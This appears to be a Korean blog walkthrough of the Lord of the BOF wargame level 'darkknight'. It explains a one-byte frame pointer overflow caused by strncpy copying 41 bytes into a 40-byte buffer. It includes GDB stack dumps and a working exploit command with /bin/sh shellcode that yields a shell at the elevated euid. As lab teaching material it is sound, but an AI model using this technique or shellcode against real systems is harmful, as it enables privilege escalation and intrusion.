본문 바로가기

WarGame/LOB

[LOB] golem :: Stack Frame Pointer Overflow (FPO)


  • User : golem
  • 문제 : darknight

darknight.c의 소스코드는 다음과 같습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
/*
        The Lord of the BOF : The Fellowship of the BOF
        - darkknight
        - FPO
*/
 
#include <stdio.h>
#include <stdlib.h>
 
void problem_child(char *src)
{
        char buffer[40];
        strncpy(buffer, src, 41);  // Vulnerability!!!
        printf("%s\n", buffer);
}
 
main(int argc, char *argv[])
{
        if(argc<2){
                printf("argv error\n");
                exit(0);
        }
 
        problem_child(argv[1]);
}
cs


problem_child() 함수에서 strncpy(buffer, src, 41) 함수 부분을 보면 buffer 크기를 초과하여 1 Byte를 Overflow시킬 수 있는 취약점이 존재합니다. buffer 다음에 있는 SFP의 1 Byte를 조작하는 공격 기법인 FPO 기법을 이용하여 문제를 해결해야 합니다.


FPO 공격 기법은 main 함수 이외에 sub 함수가 존재할 때 사용할 수 있습니다. 그 이유는 sub 함수의 leave와 main 함수의 leave 즉, 2번의 leave 어셈을 이용해야 하기 때문입니다. 해당 글에서는 최대한 간략하게 설명드리겠습니다. 자세한 설명이 궁금하신 분들은 naska21님의 글을 참고하시기 바랍니다. (http://research.hackerschool.org/Datas/Research_Lecture/sfp.txt)

 

정상적인 sub 함수의 leave 실행 시 mov ebp, esp에 의해 esp가 sub 함수의 SFP를 가리키고 pop ebp에 의해 ebp는 main의 SFP를 가리키게 되고 SFP를 가리키던 esp는 +4 Byte 즉, RET를 가르키게 됩니다.


--------- sub ------  ---- main ----

| buffer | SFP | RET | a | SFP | RET | 

                 ^ esp     ^ ebp


하지만 SFP가 조작된다면 sub 함수의 leave 실행 시 mov ebp, esp에 의해 esp가 sub 함수의 SFP를 가리키고 pop ebp에 의해 ebp는 main의 SFP가 아닌 조작된 주소를 가리키게 될 것 입니다. 


--------- sub ------  ---- main ----

| buffer | SFP | RET | a | SFP | RET |           ?????

                 ^ esp                               ^ ebp


그리고 main의 leave 실행 시 mov ebp, esp에 의해 esp가 조작된 주소를 가리키고 있는 ebp와 동일한 주소를 가리키게 되고 그 다음 pop ebp에 의해 esp는 +4 Byte 이동하여 ret 어셈에 의해 다음 명령을 실행하게 됩니다. 만약 그곳에 &shellcode(주소)가 있다면 shellcode가 실행되게 됩니다.



이제 본격적인 문제풀이를 진행하겠습니다.


Step 1. GDB를 이용하여 buffer의 크기와 시작 주소를 확인합니다. (노란색 부분이 buffer 공간, 빨간색 부분이 조작할 SFP, 초록색 부분이 SFP를 조작할 주소, 파란색 부분이 shellcode의 주소)


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
(gdb) b *0x8048469
Breakpoint 1 at 0x8048469
(gdb) r `python -c 'print "A"*40'`
Starting program: /home/golem/tmp/darkknight `python -c 'print "A"*40'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 
Breakpoint 1, 0x8048469 in problem_child ()
(gdb) x/40x $esp-8
0xbffffaac:     0x08048500      0xbffffab4      0x41414141      0x41414141
0xbffffabc:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffacc:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffadc:     0xbffffa00      0x0804849e      0xbffffc4b      0xbffffb08
0xbffffaec:     0x400309cb      0x00000002      0xbffffb34      0xbffffb40
0xbffffafc:     0x40013868      0x00000002      0x08048390      0x00000000
0xbffffb0c:     0x080483b1      0x0804846c      0x00000002      0xbffffb34
0xbffffb1c:     0x080482e4      0x080484dc      0x4000ae60      0xbffffb2c
0xbffffb2c:     0x40013e90      0x00000002      0xbffffc30      0xbffffc4b
0xbffffb3c:     0x00000000      0xbffffc74      0xbffffc88      0xbffffca0
cs


Step 2. 다음과 같은 payload를 만들 수 있습니다. SFP 1 Byte를 \xac로 조작하면 problem_child 함수의 leave 실행 시 ebp가 0xbffffaac를 가리키게 되고 main 함수의 leave 실행 시 esp가 0xbffffaac에서 + 4 Byte인 0xbffffab0를 가리키게 됩니다. 그리고 main 함수의 ret 실행 시 esp가 가리키는 곳의 주소에 있는 shellcode가 실행되게 됩니다.


1
2
3
4
5
6
7
8
9
[golem@localhost golem]$ ./darkknight `python -c 'print "\x90"*15+"\x31\xc0\x31\xd2\x50\x68\x2f\x2f
\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"+"\xac"'`
릱릱릱릱릱릱릱???h//shh/bin됥RS됣?
                                     ??퓹6??옹     @
bash$ id
uid=511(golem) gid=511(golem) euid=512(darkknight) egid=512(darkknight) groups=511(golem)
bash$ my-pass
euid = 512
new attacker
cs



(실제 문제를 풀 때 buffer 앞에 있는 4 Byte에 주소값을 이용하여 해결하였습니다. 그런데 Step 1에서 확인할 수 있듯이 buffer 앞에 4 Byte가 buffer의 위치를 가리키고 있습니다. 이 영역이 무슨 역할을 하는지는 잘 모르겠습니다. 추후에 조사하여 보충 설명을 추가하겠습니다. 혹시 아시는 분은 댓글 부탁드리겠습니다.)